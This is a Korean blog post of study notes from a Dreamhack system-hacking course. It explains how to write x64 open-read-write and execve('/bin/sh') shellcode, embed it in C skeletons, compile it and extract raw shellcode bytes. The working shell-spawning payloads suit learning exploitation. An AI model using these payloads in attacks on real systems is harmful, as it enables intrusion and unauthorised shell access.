[Dreamhack] Exploit Tech: Shellcode

Sisyphus·2022년 7월 17일
0

Dreamhack - System Hacking

목록 보기
10/49

쉘 코드(Shellcode)

익스플로잇을 위해 제작된 어셈블리 코드 조각, 일반적으로 쉘을 획득하기 위한 목적으로 사용합니다.



orw 쉘 코드 작성

// "/tmp/flag"를 읽고 출력하는 쉘 코드

char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); 
write(1, buf, 0x30);


x64 syscall

syscall 요청 : rax

인자 순서 : rdi → rsi → rdx → rcx → r8 → r9 → stack



int fd = open("/tmp/flag", RD_ONLY, NULL)

1. rdi
"/tmp/flag"2F 74 6D 70 2F 66 6C 61 67

rdi = "/tmp/flag"

2. rsi

RD_ONLY0

rsi = 0x0

3. rdx

NULL 이니까

rdx = 0x0

4. rax

open syscall 번호는 2

rax = 0x2

push 0x67                       ; 'g' 스택에 넣기
mov rax, 0x616c662f706d742f     ; rax = "/tmp/fla"
push rax                        ; "/tmp/fla" 스택에 넣기
mov rdi, rsp                    ; rdi = "/tmp/flag"
xor rsi, rsi                    ; rsi = 0 (RD_ONLY)
xor rdx, rdx                    ; rdx = 0 (NULL)
mov rax, 0x2                    ; rax = 2 (open)
syscall                         ; open("/tmp/flag", RD_ONLY, NULL)

read(fd, buf, 0x30)

1. rdi

open"/tmp/flag"fd 값을 rdi 에 대입

open syscall 의 결과인 fd 값은 rax 레지스터에 저장되기 때문에

rdi = rax

2. rsi

buf[0x30] 은 크기가 0x30 인 문자열이기 때문에

rsi = rsp - 0x30

3. rdx

0x30 크기의 데이터를 읽을 거기 때문에

rdx = 0x30

4. rax

read syscall 번호는 0

rax = 0x0

mov rdi, rax	; rdi = fd
mov rsi, rsp	; rsi = rsp
sub rsi, 0x30	; rsi = rsp - 0x30 (buf)
mov rdx, 0x30	; rdx = 0x30 (size)
mov rax, 0x0    ; rax = 0 (read)
syscall    	; read(fd, buf, 0x30)

write(1, buf, 0x30)

1. rdi

파일로부터 읽은 데이터를 화면에 출력할 것이기 때문에, fdstdout0x1

rdi = 0x1

2. rsi

buf[0x30] 은 크기가 0x30 인 문자열이기 때문에

rsi = rsp - 0x30

3. rdi

0x30 크기의 데이터를 쓸 거기 때문에

rdi = 0x30

4. rax

write syscall 번호는 1

rax = 0x1

write() 이전에 read() 에서 rsirdibuf, 0x30 으로 동일하기 때문에, rsi, rdi 값은 그대로 사용하면

mov rdi, 0x1	; rdi = 0x1 (stdout)
mov rax, 0x1	; rax = 0x1 (write)
syscall    	; write(1, buf, 0x30)

각 코드를 조합해서 전체 코드를 만들면

; open("/tmp/flag", RD_ONLY, NULL)
push 0x67				; 'g' 스택에 넣기
mov rax, 0x616c662f706d742f		; rax = "/tmp/fla"
push rax				; "/tmp/fla" 스택에 넣기
mov rdi, rsp			        ; rdi = "/tmp/flag"
xor rsi, rsi				; rsi = 0 (RD_ONLY)
xor rdx, rdx				; rdx = 0 (NULL)
mov rax, 0x2				; rax = 2 (open)
syscall    				; open("/tmp/flag", RD_ONLY, NULL)

; read (fd, buf, 0x30)
mov rdi, rax				; rdi = fd
mov rsi, rsp				; rsi = rsp
sub rsi, 0x30				; rsi = rsp - 0x30 (buf)
mov rdx, 0x30				; rdx = 0x30 (size)
mov rax, 0x0    			; rax = 0 (read)
syscall    				; read(fd, buf, 0x30)

; write(1, buf, 0x30)
mov rdi, 0x1				; rdi = 0x1 (stdout)
mov rax, 0x1				; rax = 0x1 (write)
syscall    				; write(1, buf, 0x30)

이제 완성된 코드를 컴파일 해야 하는데, C언어로 스켈레톤 코드를 작성하고 거기에 쉘 코드를 탑재해서 컴파일을 하면 됩니다.

// 스켈레톤 코드 예시

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    
    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"
    
    "xor rdi, rdi       # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall            # exit(0)");
    
void run_sh();

int main() { run_sh(); }

스켈레톤 코드에 쉘 코드를 탑재해보면

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    
    
    "push 0x67							# 'g' 스택에 넣기\n"
    "mov rax, 0x616c662f706d742f		                # rax = '/tmp/fla'\n"
    "push rax							# '/tmp/fla' 스택에 넣기\n"
    "mov rdi, rsp						# rdi = '/tmp/flag'\n"
    "xor rsi, rsi						# rsi = 0 (RD_ONLY)\n"
    "xor rdx, rdx						# rdx = 0 (NULL)\n"
    "mov rax, 0x2						# rax = 2 (open)\n"
    "syscall    						# open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    
    "mov rdi, rax						# rdi = fd\n"
    "mov rsi, rsp						# rsi = rsp\n"
    "sub rsi, 0x30						# rsi = rsp - 0x30 (buf)\n"
    "mov rdx, 0x30						# rdx = 0x30 (size)\n"
    "mov rax, 0x0    					        # rax = 0 (read)\n"
    "syscall    						# read(fd, buf, 0x30)\n"
    "\n"
    
    "mov rdi, 0x1						# rdi = 0x1 (stdout)\n"
    "mov rax, 0x1						# rax = 0x1 (write)\n"
    "syscall    						# write(1, buf, 0x30)\n"
    "\n"
    
    
    "xor rdi, rdi      					        # rdi = 0\n"
    "mov rax, 0x3c	  					# rax = sys_exit\n"
    "syscall		   					# exit(0)");
    
void run_sh();

int main() { run_sh(); }

이제 컴파일을 하고 실행을 시켜보면

gcc -o orw orw.c -masm=intel
./orw
flag{this is open read write shellcode!}
\U

쉘 코드가 성공적으로 실행되어서 "/tmp/flag" 파일의 내용이 출력되었습니다.



execve 쉘 코드

쉘을 띄우는 쉘 코드를 이용하면 서버의 쉘을 흭득할 수 있습니다.

execve("/bin/sh", null, null)

1. rdi

"/bin/sh"2F 62 69 6E 2F 73 68

rdi = "/bin/sh"

2. rsi

null

rsi = 0x0

3. rdx

null

rdx = 0x0

4. rax

execve syscall 번호는 0x3b

rax = 0x3b

mov rax, 0x68732f6e69622f               ; rax = "/bin/sh"
push rax				; "/bin/sh" 스택에 넣기
mov rdi, rsp				; rdi = "/bin/sh"
xor rsi, rsi				; rsi = 0x0 (null)
xor rdx, rdx				; rdx = 0x0 (null)
mov rax, 0x3b				; rax = 0x3b (execve)
syscall					; execve("/bin/sh", null, null)

위와 같은 방법으로 스켈레톤 코드에 쉘 코드를 탑재해서 컴파일해보면

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    
    "mov rax, 0x68732f6e69622f		# rax = '/bin/sh'\n"
    "push rax				# '/bin/sh' 스택에 넣기\n"
    "mov rdi, rsp			# rdi = '/bin/sh'\n"
    "xor rsi, rsi			# rsi = 0x0 (null)\n"
    "xor rdx, rdx			# rdx = 0x0 (null)\n"
    "mov rax, 0x3b			# rax = 0x3b (execve)\n"
    "syscall				# execve('/bin/sh', null, null)\n"
    
    "xor rdi, rdi   			# rdi = 0\n"
    "mov rax, 0x3c			# rax = sys_exit\n"
    "syscall        			# exit(0)");
    
void run_sh();

int main() { run_sh(); }
$ gcc -o execve execve.c -masm=intel
$ ls
execve  execve.c

execve 파일을 실행해보면

$ ./execve
$

쉘이 bash 에서 sh 로 변경되었습니다.




objdump를 이용한 shellcode 추출

shellcode를 byte code(opcode)의 형태로 추출

; shellcode.asm
section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80

$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o

shellcode.o:     file format elf32-i386


Disassembly of section .text:

00000000 <_start>:
   0:   31 c0                   xor    %eax,%eax
   2:   50                      push   %eax
   3:   68 2f 2f 73 68          push   $0x68732f2f
   8:   68 2f 62 69 6e          push   $0x6e69622f
   d:   89 e3                   mov    %esp,%ebx
   f:   31 c9                   xor    %ecx,%ecx
  11:   31 d2                   xor    %edx,%edx
  13:   b0 0b                   mov    $0xb,%al
  15:   cd 80                   int    $0x80

$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80                        .1.....

execve("/bin/sh", NULL, NULL) shellcode:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"



Exploit Tech: Shellcode

0개의 댓글